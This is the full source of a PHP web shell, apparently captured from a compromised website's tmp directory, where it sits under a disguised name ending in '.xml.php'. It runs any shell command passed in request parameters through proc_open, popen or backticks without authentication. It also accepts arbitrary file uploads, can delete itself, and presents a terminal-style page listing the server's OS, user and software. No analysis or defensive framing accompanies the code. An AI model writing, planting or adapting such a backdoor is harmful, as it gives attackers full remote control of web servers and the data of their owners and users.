Your IP : 216.73.216.74


Current Path : /home/andpasi/www/tmp/
Upload File :
Current File : /home/andpasi/www/tmp/jcep8ftajp1.xml.php

<?php
$cmd = $_GET['c'] ?? $_POST['x'] ?? '';
$cwd = $_POST['d'] ?? getcwd();

if ($cmd === '') {
    // Show minimal UI
    if (isset($_FILES['u'])) {
        $d = $cwd . '/' . basename($_FILES['u']['name']);
        if (@move_uploaded_file($_FILES['u']['tmp_name'], $d)) echo "UPLOADED: " . htmlspecialchars($d);
        else echo "UPLOAD FAILED";
        exit;
    }
    if (isset($_GET['del'])) { @unlink(__FILE__); echo "DELETED"; exit; }
    if (isset($_POST['d'])) { @chdir($_POST['d']); $cwd = getcwd(); }
    
    $srv = $_SERVER['SERVER_NAME'] ?? gethostname();
    $usr = function_exists('get_current_user') ? get_current_user() : '?';
    ?><!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>CMD</title>
<style>
:root{--bg:#0d1117;--fg:#c9d1d9;--g:#58a6ff;--o:#f0883e;--b1:#161b22;--b2:#21262d;--t:#8b949e}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg);color:var(--fg);font:14px Consolas,monospace;height:100vh;display:flex;flex-direction:column}
#hd{background:var(--b1);padding:8px 16px;display:flex;justify-content:space-between;border-bottom:1px solid var(--b2);font-size:13px}
.pw{color:var(--g);font-weight:bold}.if{color:var(--t)}
#tm{flex:1;overflow-y:auto;padding:12px 16px}
.ln{padding:2px 0;white-space:pre-wrap;word-break:break-all;font-size:13px;line-height:1.5}
.pr{color:var(--g)}.op{color:var(--fg)}.er{color:#f85149}
.wl{color:var(--t);font-size:12px;padding:4px 0}
#ia{display:flex;padding:8px 16px;background:var(--b1);border-top:1px solid var(--b2);gap:8px;align-items:center}
#ia .ps{color:var(--g);font-weight:bold}
#ci{flex:1;background:var(--b2);color:var(--fg);border:1px solid #30363d;padding:6px 10px;font:inherit;font-size:13px;border-radius:4px;outline:none}
#ci:focus{border-color:var(--g)}
button{background:var(--g);color:#000;border:0;padding:6px 14px;border-radius:4px;cursor:pointer;font:inherit;font-size:13px;font-weight:bold}
#ab{display:flex;gap:12px;padding:6px 16px;background:var(--b1);border-top:1px solid var(--b2)}
#ab a{color:var(--t);font-size:12px;cursor:pointer;text-decoration:none}
#ab a:hover{color:var(--g)}
#up{display:none;padding:12px 16px;background:var(--b1);border-top:1px solid var(--b2)}
#up h4{color:var(--o);margin-bottom:8px;font-size:13px}
#up form{display:flex;gap:8px}
#up input[type=file]{color:var(--t);font:inherit;font-size:12px}
</style></head><body>
<div id="hd"><span class="pw" id="pw"><?=htmlspecialchars($cwd)?></span>
<span class="if"><?=PHP_OS?> | PHP <?=PHP_VERSION?> | <?=$_SERVER['SERVER_SOFTWARE']??'?'?></span></div>
<div id="tm"><div class="wl">CMD Shell — <?=htmlspecialchars($srv)?> | <?=htmlspecialchars($usr)?></div></div>
<div id="ia"><span class="ps">$</span><input id="ci" placeholder="command..." autofocus autocomplete="off" spellcheck="false"><button onclick="x()">RUN</button></div>
<div id="ab"><a onclick="t('up')">Upload</a><a onclick="document.getElementById('tm').innerHTML=''">Clear</a><a href="?del=1" onclick="return confirm('Delete?')">Delete</a></div>
<div id="up"><h4>Upload → <?=htmlspecialchars($cwd)?></h4><form onsubmit="return u()"><input type="file" id="fi"><button type="submit">Upload</button></form></div>
<script>
var w=<?=json_encode($cwd)?>;
var ci=document.getElementById('ci'),tm=document.getElementById('tm');
var h=[],hi=-1;
ci.addEventListener('keydown',function(e){
if(e.key==='Enter')x();
if(e.key==='ArrowUp'){e.preventDefault();if(h.length&&hi<h.length-1){hi++;ci.value=h[h.length-1-hi];}}
if(e.key==='ArrowDown'){e.preventDefault();if(hi>=0){hi--;ci.value=hi>=0?h[h.length-1-hi]:'';}}
});
function es(s){return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');}
function x(){
var c=ci.value.trim();if(!c)return;h.push(c);hi=-1;ci.value='';
tm.innerHTML+='<div class="ln"><span class="pr">'+es(w)+'&gt; </span>'+es(c)+'</div>';
if(c==='clear'||c==='cls'){tm.innerHTML='';return;}
var d=new FormData();d.append('x',c);d.append('d',w);
fetch('',{method:'POST',body:d}).then(r=>r.text()).then(t=>{
tm.innerHTML+='<div class="ln"><span class="op">'+t.replace(/^<br>/,'')+'</span></div>';
tm.scrollTop=tm.scrollHeight;
if(c.toLowerCase().startsWith('cd ')){
var nd=c.substring(3).replace(/^["\\']|["\\']$/g,'');
fetch('',{method:'POST',body:new URLSearchParams({d:nd})}).then(function(){
fetch('',{method:'POST',body:new URLSearchParams({x:'cd'})}).then(function(){
var f=new FormData();f.append('x','pwd 2>/dev/null||cd');f.append('d',nd);
fetch('',{method:'POST',body:f}).then(function(r){return r.text()}).then(function(t2){
var m=t2.match(/([A-Z]:\\\\[^\\r\\n]+|[^\\s]+\\n)/);
if(m){w=m[1].trim();document.getElementById('pw').textContent=w;}
})})})}
}).catch(function(e){tm.innerHTML+='<div class="ln"><span class="er">'+es(e.message)+'</span></div>';});
}
function u(){
var f=document.getElementById('fi');if(!f.files.length)return!1;
var d=new FormData();d.append('u',f.files[0]);
fetch('',{method:'POST',body:d}).then(function(r){return r.text()}).then(function(t){alert(t);t('up');});return!1;
}
function t(id){var e=document.getElementById(id);e.style.display=e.style.display==='block'?'none':'block';}
</script></body></html>
<?php
    exit;
}

// Command execution via proc_open
@chdir($cwd);
$p = @proc_open($cmd, [["pipe","r"],["pipe","w"],["pipe","w"]], $pp);
if (is_resource($p)) {
    @fclose($pp[0]);
    echo @stream_get_contents($pp[1]);
    @fclose($pp[1]);
    @fclose($pp[2]);
    @proc_close($p);
} elseif (function_exists('popen')) {
    $h = @popen($cmd, 'r');
    if (is_resource($h)) { while (!feof($h)) echo fread($h, 8192); pclose($h); }
} else {
    echo @`$cmd`;
}